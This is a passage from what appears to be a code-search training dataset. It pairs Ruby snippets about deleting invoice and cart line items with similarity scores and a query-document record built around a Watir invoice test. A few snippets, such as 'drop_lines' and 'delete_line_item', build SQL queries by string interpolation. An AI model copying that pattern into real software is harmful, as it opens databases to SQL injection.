"def remove_item\n\t\tset_sale\n\t\tpopulate_products\n\n\t\tline_item = Item.where(sale_id: params[:sale_id], product_id: params[:product_id]).first\n\t\tline_item.quantity -= 1\n\n\t\tif line_item.quantity == 0\n\t\t\tline_item.destroy\n\t\telse\n\t\t\tline_item.save\n\t\t\tupdate_line_item_totals(line_item)\n\t\tend\n\n\t\t# Llama método que devuelve cantidad al stock\n\t\treturn_item_to_stock(params[:product_id])\n\n\t\tupdate_totals\n\n\t\trespond_to do |format|\n\t\t\tformat.js { ajax_refresh }\n\t\tend\n\tend",
"def delete\n LineItem.delete_for_order(order_id)\n CreditCardTransaction.remove_references_to_order(order_id)\n super\n end",
"def test_should_add_edit_and_remove_line_items_in_invoice\r\n assert_no_difference 'Invoice.count' do\r\n assert_no_difference 'LineItem.count' do\r\n @basic_user.edits_invoice(invoices(:invoice_with_line_items).id)\r\n \r\n @basic_user.link(:id, \"add_line_item\").click\r\n\r\n #get newly added last row in the table to enter text\r\n trows = @basic_user.line_items_rows\r\n assert_equal 3, trows.length\r\n tr = trows[::WatirBrowser.item_index(trows.length)]\r\n assert tr.exists?\r\n @basic_user.populate(tr.text_field(:name, \"invoice[line_items_attributes][][description]\"),'Description of new line item')\r\n \r\n #remove the second line item\r\n trows = @basic_user.line_items_rows\r\n assert_equal 3, trows.length\r\n tr = trows[::WatirBrowser.item_index(2)]\r\n assert tr.exists?\r\n @basic_user.populate(tr.text_field(:name, \"invoice[line_items_attributes][][description]\"),\"Deleted Description two\")\r\n tr.link(:name, 'remove').click\r\n assert_equal false, tr.visible?\r\n \r\n #edit the first row in the table.\r\n trows = @basic_user.line_items_rows\r\n assert_equal 3, trows.length\r\n tr = trows[::WatirBrowser.item_index(1)]\r\n assert tr.exists?\r\n @basic_user.populate(tr.text_field(:name, \"invoice[line_items_attributes][][description]\"),\"Changed Description One\")\r\n\r\n @basic_user.submits\r\n end\r\n end\r\n \r\n invoice = Invoice.find(invoices(:invoice_with_line_items).id)\r\n assert_equal 2, invoice.line_items.count\r\n \r\n assert_equal 'Changed Description One', invoice.line_items[0].description\r\n assert_equal line_items(:line_item_one).description, invoice.line_items[0].description\r\n end",
"def remove_product(a_product, options={})\n deleted_line_item = nil\n item_to_remove = find(:first, a_product)\n deleted_line_item = @line_items.delete(item_to_remove) if item_to_remove\n deleted_line_item\n end",
"def remove!(donation_or_purchase)\n log = {}\n donation_or_purchase.line_items.each do |line_item|\n inventory_item = InventoryItem.find_by(storage_location: id, item_id: line_item.item_id)\n if (inventory_item.quantity - line_item.quantity) <= 0\n inventory_item.destroy\n else\n inventory_item.update(quantity: inventory_item.quantity - line_item.quantity)\n end\n log[line_item.item_id] = \"-#{line_item.quantity}\"\n end\n log\n end",
"def free item\n item.order_book.remove item if item.order_book\n end",
"def remove\n rows = self.open_import_file\n field = rows.first\n rows.each do |row|\n item_identifier = row['item_identifier'].to_s.strip\n if item = Item.where(:item_identifier => item_identifier).first\n item.destroy\n end\n end\n end",
"def destroy\n @invoice_line_item = InvoiceLineItem.find(params[:id])\n @invoice_line_item.destroy\n\n respond_to do |format|\n format.html { redirect_to invoice_line_items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item.destroy\n destroy_line_item_response\n end",
"def remove_entry(entry)\n if entry.new_record?\n entries = self.invoiceable_entries(true)\n entries.delete(entry)\n else\n if !entry.invoiced?\n entry.destroy\n else\n entry.state! :voided\n entry.save\n end\n end\n return {success: true}\n end",
"def remove_line(line)\n\t\t@lines.delete(line)\n\tend",
"def create_replacement\n new_invoice = self.clone\n new_invoice.document_number = Numerator.get_number\n old_invoice = self\n old_invoice.status_constant = Invoice::CANCELED\n old_invoice.order_id = nil\n old_invoice.lines.each do |line|\n new_invoice.invoice_lines << line.clone\n line.order_id = nil # Disassociate the order so that things don't appear twice on orders just because there is a replacement invoice\n line.save\n end\n new_invoice.save\n old_invoice.replacement = new_invoice\n old_invoice.save\n return new_invoice\n end",
"def delete_lines_main_order\n # Eliminamos las lineas de la orden principal\n @main_order.line_items.each do |line_item|\n line_item.delete\n end\n # Eliminamos la orden principal\n @main_order.delete\n end",
"def test_should_create_and_delete_line_items_before_post\r\n assert_difference 'Invoice.count' do\r\n assert_difference 'LineItem.count', 1 do\r\n @basic_user.creates_new_invoice\r\n @basic_user.enter_new_customer(\r\n :name => \"Test 8 Customer Name 4\") \r\n \r\n #get first row in the table.\r\n trows = @basic_user.line_items_rows\r\n assert_equal 1, trows.length\r\n tr1 = trows[::WatirBrowser.item_index(1)]\r\n assert tr1.exists?\r\n @basic_user.populate(tr1.text_field(:name, \"invoice[line_items_attributes][][description]\"), \"Description one\")\r\n\r\n @basic_user.link(:id, \"add_line_item\").click\r\n\r\n #get second row in the table.\r\n trows = @basic_user.line_items_rows\r\n assert_equal 2, trows.length\r\n tr2 = trows[::WatirBrowser.item_index(2)]\r\n assert tr2.exists?\r\n\r\n @basic_user.populate(tr2.text_field(:name, 'invoice[line_items_attributes][][description]'),'Description two')\r\n\r\n #remove the first line item\r\n @basic_user.line_items_rows[::WatirBrowser.item_index(1)].link(:name, 'remove').click\r\n\r\n @basic_user.submits\r\n end\r\n end\r\n\r\n invoice = Invoice.find(:first, :order => 'id desc')\r\n assert_equal 1, invoice.line_items.count\r\n assert_equal 'Description two', invoice.line_items[0].description\r\n end",
"def remove_item\n\n end",
"def test_dsl_should_add_edit_and_remove_line_items_in_invoice\r\n assert_no_difference 'Invoice.count' do\r\n assert_no_difference 'LineItem.count' do\r\n @basic_user.edits_invoice(invoices(:invoice_with_line_items).id)\r\n assert_equal 3, @basic_user.adds_line_item(:unit => 'New line item', :description => 'Description of new line item')\r\n assert @basic_user.removes_line_item(2)\r\n @basic_user.edits_line_item(1, :description => 'Changed Description One').\r\n and_submits\r\n end\r\n end\r\n \r\n invoice = Invoice.find(invoices(:invoice_with_line_items).id)\r\n assert_equal 2, invoice.line_items.count\r\n\r\n assert_equal 'Changed Description One', invoice.line_items[0].description\r\n assert_equal line_items(:line_item_one).description, invoice.line_items[0].description\r\n end",
"def destroy_or_save(line_item, line_item_quantity)\n line_item_quantity.zero? ? line_item.destroy! : line_item.save!\n end",
"def down\n # Find, then split, items with quantity > 1 into multiple items.\n LineItem.where(\"quantity > 1\").each do |line_item|\n\n # Add individual items as new line items for this cart and product,\n # each with a quantity of 1\n line_item.quantity.times do\n LineItem.create cart_id: line_item.cart_id,\n product_id: line_item.product_id, quantity: 1\n end # End of: line_item.quantity.times do\n\n # Delete the line item, i.e., the original item.\n line_item.destroy\n end # End of: LineItem.where(\"quantity>1\").each do |line_item|\n\n end",
"def unpaid_line_items\n @unpaid_line_items ||= line_items.find_all_by_paid(false)\n end",
"def destroy\n @line_item = @current_cart.line_items.where(:id => params[:id]).first\n unless @line_item.nil?\n @line_item.destroy\n end\n end",
"def single_sell_in_day_remover(item)\r\n item.sell_in -= 1\r\n end",
"def clear_line_items\n @line_items = []\n end",
"def destroy\n @line_item = LineItem.find(params[:id])\n @order = @line_item.order\n @line_item.destroy\n \n @order.total = @order.line_items.sum(:line_total)\n @order.update_attribute(:total, @order.total)\n\n respond_to do |format|\n format.html { redirect_to request.env[\"HTTP_REFERER\"] }\n format.xml { head :ok }\n end\n end",
"def clear_free_items\n free_items = @order.line_items.select {|item| item.price == 0}\n @order.line_items.delete(*free_items)\n end",
"def destroy\n @line_item = @order.line_items.find(params[:id])\n @line_item.destroy\n\n head :no_content\n end",
"def deduct_quantity\n line_items.each do |i|\n i.product.current_stock -= i.quantity\n i.product.save\n end\n end",
"def remove_item(item_to_remove)\r\n self.credits = self.credits + item_to_remove.get_price\r\n self.item_list.delete(item_to_remove)\r\n end",
"def remove_item(item_to_remove)\r\n self.credits = self.credits + item_to_remove.get_price\r\n self.item_list.delete(item_to_remove)\r\n end",
"def destroy\n @invoice_adjustment_line = InvoiceAdjustmentLine.find(params[:id])\n @invoice_adjustment_line.destroy\n\n respond_to do |format|\n format.html { redirect_to(invoice_adjustment_lines_url) }\n format.xml { head :ok }\n end\n end",
"def delete_at(line_number)\n self[line_number].delete\n super(line_number)\n update_line_numbers!\n end",
"def test_remove_promotion_multiple_items\n setup_new_order_with_items()\n editable_order_codes = (1..5)\n editable_order_codes.each do |status_id|\n o_status = OrderStatusCode.find(status_id)\n assert_kind_of OrderStatusCode, o_status\n\n @o.order_status_code = o_status\n assert @o.is_editable?\n \n promo = promotions(:fixed_rebate)\n @o.promotion_code = promo.code\n assert @o.save\n assert_kind_of OrderLineItem, @o.promotion_line_item\n # Add dupe line item.\n dupe_item = @o.promotion_line_item.clone\n @o.order_line_items << dupe_item\n assert_equal 2, @o.order_line_items.count(\n :conditions => [\"name = ?\", @o.promotion.description]\n )\n # Remove\n @o.remove_promotion()\n assert_nil @o.promotion_line_item\n end\n end",
"def exist_index_remove_item(index_no)\n index_no -= 1\n @r_item = @items[index_no].description\n @items.delete_at(index_no)\n conf_message(@r_item, \"removed\")\n end",
"def delete_line(line)\n raise \"Can't find line item to delete\" unless @lines.delete(line)\n @deleted_lines << line\n end",
"def test_should_update_new_invoice_total_when_line_item_is_deleted\r\n update_profile_taxes(\r\n :tax_enabled => true,\r\n :tax_1_name => \"tax 1 name\",\r\n :tax_1_rate => \"5.0\",\r\n :tax_2_name => \"\",\r\n :discount_before_tax => false)\r\n \r\n @user.creates_new_invoice\r\n # the first line is created automatically, no need to click add line \r\n @user.edits_line_item(1,:unit => 'line one', :quantity => '1', :price => '1.23')\r\n @user.adds_line_item(:unit => 'line two', :quantity => '1', :price => '4.56')\r\n \r\n verify_invoice_view_fields(\r\n :line_items_total => 5.79,\r\n :tax_1_amount => 0.29,\r\n :discount_amount => 0,\r\n :total => 6.08)\r\n \r\n @user.removes_line_item(1)\r\n\r\n verify_invoice_view_fields(\r\n :line_items_total => 4.56,\r\n :tax_1_amount => 0.23,\r\n :discount_amount => 0,\r\n :total => 4.79)\r\n end",
"def noteboard_delete(line_number)\n \n\n end",
"def destroy\n @invoice_line_item.destroy\n respond_to do |format|\n format.html { redirect_to invoice_line_items_url, notice: 'Invoice line item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @invoice_addon_line_item.destroy\n respond_to do |format|\n format.html { redirect_to invoice_addon_line_items_url }\n format.json { head :no_content }\n end\n end",
"def dummy_line_item\n li = LineItemBuilder.new([self]).spree_line_items.first\n return unless li\n\n li.order = dummy_order\n li.validate\n li.freeze\n end",
"def destroy\n @order.line_items.clear\n respond_to do |format| \n format.html { redirect_to(edit_object_url) } \n end\n end",
"def lock_new_invoice_line_items party, document\n # Generate fixed-price post sub total line items from percentage based sub total line items\n subtotal = revenue_subtotal_by_party(party, false)\n line_items_after_subtotal_percentage_by_billable_party(party).each do |li|\n fixed_price = li.revenue_total_with_percentage subtotal\n line_items.create!(li.attributes.merge({unit_price_revenue: fixed_price, name: \"#{li.name} (#{li.unit_price_revenue}%)\", percentage_of_subtotal: false, parent_id: li.id}))\n end\n\n line_items_fixed_by_billable_party(party, false).each do |li|\n li.document = document\n li.save\n end\n end",
"def remove_item(list, item)\n # list.delete_if do |grocery_item, qty|\n # grocery_item == item\n # end\n list.delete(item)\n\n list\nend",
"def remove(variant, quantity, shipment=nil)\n line_item = order.find_line_item_by_variant(variant)\n\n unless line_item\n raise ActiveRecord::RecordNotFound, \"Line item not found for variant #{variant.sku}\"\n end\n\n remove_from_line_item(line_item, variant, quantity, shipment)\n end",
"def drop_lines(array)\n\t\tarray.each do |el|\n\t\t\tdbrows = @database.query <<-SQL\n\t\t\t\tDELETE FROM invoice_lines WHERE invoice_id = '#{el}';\n\t\t\tSQL\n\t\tend\n\tend",
"def destroy_booking_line(item_id)\n\n product_lines = self.booking_lines.select do |booking_line|\n booking_line.item_id == item_id\n end\n\n if booking_line = product_lines.first\n transaction do\n self.item_cost -= booking_line.item_cost\n self.product_deposit_cost -= booking_line.product_deposit_cost\n self.category_supplement_1_cost -= booking_line.category_supplement_1_cost\n self.category_supplement_2_cost -= booking_line.category_supplement_2_cost\n self.category_supplement_3_cost -= booking_line.category_supplement_3_cost \n self.calculate_cost(false, false)\n self.save\n booking_line.destroy\n # Create newsfeed\n ::Yito::Model::Newsfeed::Newsfeed.create(category: 'booking',\n action: 'destroy_booking_line',\n identifier: self.id.to_s,\n description: BookingDataSystem.r18n.t.booking_news_feed.destroyed_booking_line(item_id),\n attributes_updated: {item_id: item_id}.merge({booking: newsfeed_summary}).to_json)\n end\n self.reload\n end\n\n end",
"def lock_new_invoice_line_items party, document\n # Generate fixed-price post sub total line items from percentage based sub total line items\n subtotal = revenue_subtotal_by_party(party, false)\n line_items_after_subtotal_percentage_by_billable_party(party).each do |li|\n fixed_price = li.revenue_total_with_percentage subtotal\n line_items.create!(li.attributes.merge({unit_price_revenue: fixed_price, name: \"#{li.name} (#{li.unit_price_revenue}%)\", percentage_of_subtotal: false, parent_id: li.id}))\n end\n\n line_items_fixed_by_billable_party_including_add_ons(party, false).each do |li|\n li.document = document\n li.save\n end\n end",
"def ti_delete_line\n\ttictl(\"dl\")\n end",
"def remove(variant, quantity = 1, shipment = nil)\n line_item = order.find_line_item_by_variant(variant)\n\n unless line_item\n raise ActiveRecord::RecordNotFound, \"Line item not found for variant #{variant.sku}\"\n end\n\n remove_from_line_item(line_item, variant, quantity, shipment)\n end",
"def remove_data_line(which = 1)\n remove_line(\"data_line_#{which}\")\n end",
"def issue_unissue_po_line_items_when_so_and_cart_diffs(issue_cart)\n logger.debug \"==@@@@==SalesOrder: issue unissue(), issuce_cart.id==== #{issue_cart.id}\"\n # so line_items not in cart(will be removed), issueback po\n self.line_items.each do |so_line|\n if not issue_cart.line_items.where(line_number: so_line.line_number).exists?\n logger.debug \"==@@@@==line_items to be removed from so==== #{so_line.id}\"\n self.issue_back_refer_line_item(so_line, so_line.quantity)\n end\n end\n\n # cart line_items not in so(will be added), issue po\n issue_cart.line_items.each do |line_item|\n # cart line_items not in so: to be added to so\n if not self.line_items.where(line_number: line_item.line_number).exists?\n logger.debug \"==@@@@==new line, to be added to so==== #{line_item.id}\" \n self.issue_refer_line_item(line_item, line_item.quantity) \n else # exist, but quantity different\n line = self.line_items.where(line_number: line_item.line_number).take\n logger.debug \"==@@@@==exsit line, update po==== #{line_item.id}\"\n if line.quantity < line_item.quantity\n self.issue_refer_line_item(line_item, line_item.quantity - line.quantity)\n elsif line.quantity > line_item.quantity\n self.issue_back_refer_line_item(line_item, line.quantity - line_item.quantity) \n end\n end\n end\n end",
"def test_delete_previous_promotion_line_item\n setup_new_order_with_items()\n \n a_fixed_rebate = promotions(:fixed_rebate)\n @o.promotion_code = a_fixed_rebate.code\n # Saving it, sets the promo code and product cost.\n assert @o.save\n # Assert the promotion is there.\n assert_equal @o.order_line_items.find_by_name(a_fixed_rebate.description).name, a_fixed_rebate.description, \"The fixed rebate wasn't added properly.\"\n\n # Test a percent rebate.\n a_percent_rebate = promotions(:percent_rebate)\n @o.promotion_code = a_percent_rebate.code\n # Saving it, sets the promo code and product cost.\n assert @o.save\n # Assert the promotion is there.\n assert_equal @o.order_line_items.find_by_name(a_percent_rebate.description).name, a_percent_rebate.description, \"The percent rebate wasn't added properly.\"\n\n # Assert the previous promotion is NOT there.\n assert_equal @o.order_line_items.find_by_name(a_fixed_rebate.description), nil, \"The fixed rebate is still there.\"\n end",
"def destroy\n if params[:line_item_id]\n @cart.line_items.find(params[:line_item_id]).destroy\n else\n @cart.destroy\n end\n end",
"def delete_line_item(table)\r\n if table_exists?(table)\r\n print_table(table)\r\n puts \"please choose the id number of the line you'd like to delete.\"\r\n id = get_valid_id(table)\r\n delete = (\"DELETE FROM #{table} WHERE id = #{id}\")\r\n @db.execute(delete)\r\n end\r\n end",
"def remove_line(line_num)\n\t\tif @line_indices == []\n\t\t\t@text = \"\"\n\t\telse\n\t\t\tlength = line_index(line_num + 1) - line_index(line_num)\n\t\t\t@text[line_index(line_num) + 1 .. line_index(line_num + 1)] = \"\"\n\t\t\t@line_indices.delete_at(line_num)\n\t\t\t(line_num...@line_indices.length).each { |i| @line_indices[i] -= length }\n\t\tend\n\tend",
"def remove_article(article_id)\n\t\tcurrent_item = line_items.find_by(article_id: article_id)\n\t\tif current_item\n\t\t if current_item.quantity >1\n\t\t\t current_item.quantity -=1\n\t\t\telse \n\t\t\t\tcurrent_item.destroy\n\t\t\tend\n\t\tend\n\n\t\tcurrent_item\n\tend",
"def delete_sales_line\r\n sales_line = ERP::SalesLine.find( params[:id], :include => \"sales_order\" )\r\n @store_user.my_account_log(sales_line,\"Delete Sales Line: #{sales_line.invent_trans_id} (#{sales_line.item_id})\")\r\n if @customer.open_orders.collect{|order| order.id}.include?( sales_line.sales_order.id ) && sales_line.modifiable?\r\n sales_line.destroy\r\n render :text => \"Deleted...\"\r\n else\r\n render :text => \"Failed to delete sales line (ID=#{params[:id]})\", :status => 500\r\n end\r\n end",
"def rebuild_invoice\n end",
"def decrease\n @line_item = @current_cart.line_items.where(:id => params[:line_item_id]).first\n if @line_item.count > 0\n @line_item.update_attribute :count, @line_item.count - 1\n else\n @line_item.destroy # destroy database record if quantity was decreased to 0\n end\n end",
"def destroy\n @invoice = Invoice.find(params[:id])\n @invoice.repairs.each do |repair|\n repair.invoice_id = nil\n repair.save!\n end\n @invoice.destroy\n\n respond_to do |format|\n format.html { redirect_to invoices_url }\n format.json { head :no_content }\n end\n end",
"def remove\n if @item.quantity == 1\n @item.destroy!\n else\n @item.decrement(:quantity)\n @item.save!\n end\n\n refresh\n end",
"def clear_lines\n @items.each { |item| @scene.removeItem item }\n @items.clear\n end",
"def destroy\n @invoice.destroy\n end",
"def add_line_items_from_cart(cart)\n cart.line_items.each do |item|\n\t item.cart_id = nil\n \t line_items << item\n end\n end",
"def add_line_items_from(cart)\n\t\tcart.line_items.each do |item| \n\t\t\titem.cart_id = nil \n\t\t\tline_items << item \n\t\tend\n\tend",
"def destroy\n @line_item = current_member.seller.line_items.find(params[:id])\n @line_item.destroy\n \n respond_to do |format|\n format.html { redirect_to line_items_url }\n format.xml { render :nothing => true }\n end\n end",
"def removeLine(lineNumber)\n \n\n\tlineNumber = lineNumber - 1\n\tnewQuestions = \"\"\n\n\tquestions = File.open(\"/Users/Wipf/questions.txt\", \"r+\")\n\n\t\tquestions.readlines.each_with_index do |eachLine, idx|\n\n\t\t\tif idx != lineNumber && eachLine.delete(\"#{idx}\\n\") != \"\" #each line has an index and /n ; .delete(\"#{idx}\\n\")removes it\n\t\t\t\t\t\t\t\t\t\t\t\t \t\t \n\t\t\t \tnewQuestions += eachLine\n\n\t\t\tend\n \t end\n\n questions.close\n\n \tquestions = File.open(\"/Users/Wipf/questions.txt\", \"w\")\n \tquestions.puts newQuestions\n\n\tquestions.close\n\n\tprint \"Question #{lineNumber + 1} has been removed\"\n\n\tputs \n\tputs\n\tputs \"Updated questions are:\"\n\tprint_questions\n\nend",
"def destroy\n @line_item = LineItem.find(params[:id])\n product = Product.find_by_id(@line_item.product.id)\n product.update_attributes(:remaining_quantity => (product.remaining_quantity + @line_item.quantity))\n @line_item.destroy\n\n respond_to do |format|\n format.html { redirect_to(orders_path) }\n format.json { head :ok }\n end\n end",
"def remove_item(item, amount)\n # Check if the Entity already has that item\n # in the inventory. If so, just decrease\n # the amount.\n @inventory.each_with_index do |couple, index|\n if (couple.first == item)\n couple.second -= amount\n if (couple.second <= 0)\n @inventory.delete_at(index)\n end\n return\n end\n end\n end",
"def remove(item)\r\n @contents.delete(item)\r\n end",
"def compact_line_items\n return params unless params[:purchase].key?(:line_item_attributes)\n\n params[:purchase][:line_items_attributes].delete_if { |_row, data| data[\"quantity\"].blank? && data[\"item_id\"].blank? }\n params\n end",
"def destroy\n @invoice_item.destroy\n respond_with(@invoice)\n \n end",
"def remove_item(grocery_list, rem_item)\r\n grocery_list.delete(rem_item)\r\n p grocery_list\r\nend",
"def destroy\n @line_item = line_items.find(params[:id])\n @line_item.destroy\n\n respond_to do |format|\n format.html { redirect_to line_items_url }\n end\n end",
"def mark_monthlyinvitems_for_removal \n monthlyinvitems.each do |monthlyinvitem|\n monthlyinvitem.mark_for_destruction if monthlyinvitem.qty.to_f == 0.0\n end \n end",
"def update_cart_line_item(a_line_item, quantity, options={})\n return remove(a_line_item, options) if quantity <= 0\n item = find(:first, a_line_item)\n item.quantity = quantity if item\n item\n end",
"def remove_item(id:)\n order.items.destroy(id)\n end",
"def compact_line_items\n return params unless params[:purchase].has_key?(:line_item_attributes)\n params[:purchase][:line_items_attributes].delete_if { |row, data| data[\"quantity\"].blank? && data[\"item_id\"].blank? }\n params\n end",
"def remove_line_from_file(path, line)\n run \"#{sudo} sed -i '/#{escape_sed(line)}/d' #{path}\", options\n end",
"def remove_item(olist, item)\n olist.delete(item) \n olist\nend",
"def destroy\n line_item = LineItem.find params[:id]\n line_item.destroy\n\n redirect_to cart_path\n end",
"def update_invoice\n if invoice.registrations.any?\n invoice.update_paid\n else\n invoice.destroy\n end\n end",
"def remove_item(grocery_list, item)\n grocery_list.delete(item)\n grocery_list\nend",
"def remove_item(grocery_list, item)\n grocery_list.delete(item)\n grocery_list\nend",
"def remove_item(electives)\n electives.pop #removes last item\n puts electives\nend",
"def delete_sales_invoice!(id)\n delete(\"sales_invoices/#{id}\")\n end",
"def destroy\n @purchase_order_item_line = PurchaseOrderItemLine.find(params[:id])\n @purchase_order_item_line.destroy\n\n respond_to do |format|\n format.html { redirect_to purchase_order_item_lines_url }\n format.json { head :no_content }\n end\n end",
"def remover_item\n # Remove um item do final do buffer\n BUFFER.pop\n end",
"def remove_item(item)\n\t$grocery_list.delete(item)\n\tp \"You crossed off #{item} from your list.\"\nend",
"def remove_associated_price_item(price_item)\n price_item.attributes['_destroy'] = '1'\n set_state form_model: state.form_model\n end",
"def destroy\n @estimate_line_item = EstimateLineItem.find(params[:id])\n @estimate_line_item.destroy\n\n respond_to do |format|\n format.html { redirect_to(estimate_line_items_url) }\n format.xml { head :ok }\n end\n end",
"def remove_item(grocery_list, item)\r\n grocery_list.delete(item) \r\n \r\nend"
] |
[
"0.7385918",
"0.69709754",
"0.6472073",
"0.6346085",
"0.63355845",
"0.6247482",
"0.6227869",
"0.6215378",
"0.6121174",
"0.6109852",
"0.60717595",
"0.604536",
"0.6017167",
"0.6006678",
"0.60055923",
"0.59993374",
"0.59986085",
"0.59845936",
"0.5981097",
"0.5944877",
"0.59332114",
"0.5906879",
"0.5886993",
"0.587275",
"0.5868394",
"0.5862904",
"0.5858707",
"0.5857817",
"0.58393365",
"0.58344084",
"0.5811906",
"0.58113587",
"0.5782473",
"0.577689",
"0.5775344",
"0.5771704",
"0.57598335",
"0.57598335",
"0.5757571",
"0.5737924",
"0.57347316",
"0.57286626",
"0.5721407",
"0.5717423",
"0.57150185",
"0.57051635",
"0.5700368",
"0.5690291",
"0.56888443",
"0.56876075",
"0.56868505",
"0.56828874",
"0.5675861",
"0.5669166",
"0.5657446",
"0.56472075",
"0.5645874",
"0.56102717",
"0.5605591",
"0.5605317",
"0.5589371",
"0.5580149",
"0.55757827",
"0.55730134",
"0.556403",
"0.55619234",
"0.5535626",
"0.5525573",
"0.5503605",
"0.550294",
"0.5493483",
"0.54806215",
"0.54699194",
"0.545097",
"0.5439302",
"0.543531",
"0.5430239",
"0.54145545",
"0.5391973",
"0.538968",
"0.5373352",
"0.5371366",
"0.53682476",
"0.5358634",
"0.5352063",
"0.5337371",
"0.533521",
"0.533297",
"0.5332268",
"0.53132534",
"0.5301772",
"0.5301772",
"0.52997696",
"0.52990377",
"0.5297073",
"0.52943295",
"0.5290318",
"0.5285477",
"0.5282651",
"0.52801776"
] |
0.75662285
|
0
|
Add and remove items from existing invoice
|
def test_should_add_edit_and_remove_line_items_in_invoice
assert_no_difference 'Invoice.count' do
assert_no_difference 'LineItem.count' do
@basic_user.edits_invoice(invoices(:invoice_with_line_items).id)
@basic_user.link(:id, "add_line_item").click
#get newly added last row in the table to enter text
trows = @basic_user.line_items_rows
assert_equal 3, trows.length
tr = trows[::WatirBrowser.item_index(trows.length)]
assert tr.exists?
@basic_user.populate(tr.text_field(:name, "invoice[line_items_attributes][][description]"),'Description of new line item')
#remove the second line item
trows = @basic_user.line_items_rows
assert_equal 3, trows.length
tr = trows[::WatirBrowser.item_index(2)]
assert tr.exists?
@basic_user.populate(tr.text_field(:name, "invoice[line_items_attributes][][description]"),"Deleted Description two")
tr.link(:name, 'remove').click
assert_equal false, tr.visible?
#edit the first row in the table.
trows = @basic_user.line_items_rows
assert_equal 3, trows.length
tr = trows[::WatirBrowser.item_index(1)]
assert tr.exists?
@basic_user.populate(tr.text_field(:name, "invoice[line_items_attributes][][description]"),"Changed Description One")
@basic_user.submits
end
end
invoice = Invoice.find(invoices(:invoice_with_line_items).id)
assert_equal 2, invoice.line_items.count
assert_equal 'Changed Description One', invoice.line_items[0].description
assert_equal line_items(:line_item_one).description, invoice.line_items[0].description
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def rebuild_invoice\n end",
"def test_dsl_should_add_edit_and_remove_line_items_in_invoice\r\n assert_no_difference 'Invoice.count' do\r\n assert_no_difference 'LineItem.count' do\r\n @basic_user.edits_invoice(invoices(:invoice_with_line_items).id)\r\n assert_equal 3, @basic_user.adds_line_item(:unit => 'New line item', :description => 'Description of new line item')\r\n assert @basic_user.removes_line_item(2)\r\n @basic_user.edits_line_item(1, :description => 'Changed Description One').\r\n and_submits\r\n end\r\n end\r\n \r\n invoice = Invoice.find(invoices(:invoice_with_line_items).id)\r\n assert_equal 2, invoice.line_items.count\r\n\r\n assert_equal 'Changed Description One', invoice.line_items[0].description\r\n assert_equal line_items(:line_item_one).description, invoice.line_items[0].description\r\n end",
"def update_invoice\n if invoice.registrations.any?\n invoice.update_paid\n else\n invoice.destroy\n end\n end",
"def update\n ActiveRecord::Base.transaction do\n @invoice.update invoice_params\n @invoice.invoice_details.destroy_all\n Item.all.each do |item|\n if params[\"amount_#{item.id}\"].to_i > 0\n InvoiceDetail.create!(invoice: @invoice, item: item, price: item.price,\n amount: params[\"amount_#{item.id}\"].to_i)\n end\n end\n end\n @invoice.reload\n respond_to do |format|\n if @invoice.calculate_total!\n format.html { redirect_to @invoice, notice: 'Invoice was successfully updated.' }\n format.json { render :show, status: :ok, location: @invoice }\n else\n format.html { render :edit }\n format.json { render json: @invoice.errors, status: :unprocessable_entity }\n end\n end\n end",
"def add_invoice\n if invoice_exist?\n update_invoice\n else\n Invoice.insert(invoice_number: invoice, rate: rate, hours: hours, amount: amt, client_id: client_id, post_date: post_date, provider_id: provider.id, client_name: client_name.strip)\n end\n end",
"def lock_new_invoice_line_items party, document\n # Generate fixed-price post sub total line items from percentage based sub total line items\n subtotal = revenue_subtotal_by_party(party, false)\n line_items_after_subtotal_percentage_by_billable_party(party).each do |li|\n fixed_price = li.revenue_total_with_percentage subtotal\n line_items.create!(li.attributes.merge({unit_price_revenue: fixed_price, name: \"#{li.name} (#{li.unit_price_revenue}%)\", percentage_of_subtotal: false, parent_id: li.id}))\n end\n\n line_items_fixed_by_billable_party(party, false).each do |li|\n li.document = document\n li.save\n end\n end",
"def lock_new_invoice_line_items party, document\n # Generate fixed-price post sub total line items from percentage based sub total line items\n subtotal = revenue_subtotal_by_party(party, false)\n line_items_after_subtotal_percentage_by_billable_party(party).each do |li|\n fixed_price = li.revenue_total_with_percentage subtotal\n line_items.create!(li.attributes.merge({unit_price_revenue: fixed_price, name: \"#{li.name} (#{li.unit_price_revenue}%)\", percentage_of_subtotal: false, parent_id: li.id}))\n end\n\n line_items_fixed_by_billable_party_including_add_ons(party, false).each do |li|\n li.document = document\n li.save\n end\n end",
"def update_items\n @existing_items = []\n @order.items.each { |i| @existing_items << i.id }\n\n # detail and reproduction_pages will come in as attributes of items, but they actually belong to the item_order\n # so look for those, then add them to the correct record in @item_orders\n\n @item_orders.each do |item_order|\n # add item to order\n if !@existing_items.include?(item_order['item_id'].to_i)\n item_order_record = @order.item_orders.create!(item_id: item_order['item_id'], archivesspace_uri: item_order['archivesspace_uri'], user_id: current_user.id, active: true)\n else\n item_order_record = @order.item_orders.where(item_id: item_order['item_id']).first\n item_order_record.update_attributes(archivesspace_uri: item_order['archivesspace_uri'])\n @order.reload\n # delete id from @existing_items array to track associations to be deleted\n @existing_items.delete(item_order['item_id'])\n end\n\n if item_order['reproduction_spec']\n create_or_update_reproduction_spec(item_order_record.id, item_order['reproduction_spec'])\n end\n\n # handle fees\n if @order_sub_type_name == 'reproduction_fee'\n if item_order['order_fee']\n create_or_update_order_fee(item_order_record.id, 'ItemOrder', item_order['order_fee'])\n end\n else\n # delete any existing fee for this item_order if it exists\n OrderFee.where(record_id: item_order_record.id,\n record_type: 'ItemOrder').each { |f| f.destroy! }\n end\n end\n\n @existing_items.each do |item_id|\n @order.item_orders.where(item_id: item_id).each { |io| io.destroy! }\n end\n end",
"def test_should_remove_second_line_item_from_invoice\r\n assert_no_difference 'Invoice.count' do\r\n assert_difference 'LineItem.count', -1 do\r\n @basic_user.edits_invoice(invoices(:invoice_with_line_items).id)\r\n \r\n #get first row in the table.\r\n trows = @basic_user.line_items_rows\r\n assert_equal 2, trows.length\r\n tr2 = trows[::WatirBrowser.item_index(2)]\r\n assert tr2.exists?\r\n @basic_user.populate(tr2.text_field(:name, \"invoice[line_items_attributes][][description]\"),\"Removed Description two\")\r\n\r\n #remove the second line item\r\n tr2.link(:name, 'remove').click\r\n\r\n @basic_user.submits\r\n end\r\n end\r\n \r\n invoice = Invoice.find(invoices(:invoice_with_line_items).id)\r\n assert_equal 1, invoice.line_items.count\r\n assert_equal line_items(:line_item_one).description, invoice.line_items[0].description \r\n \r\n end",
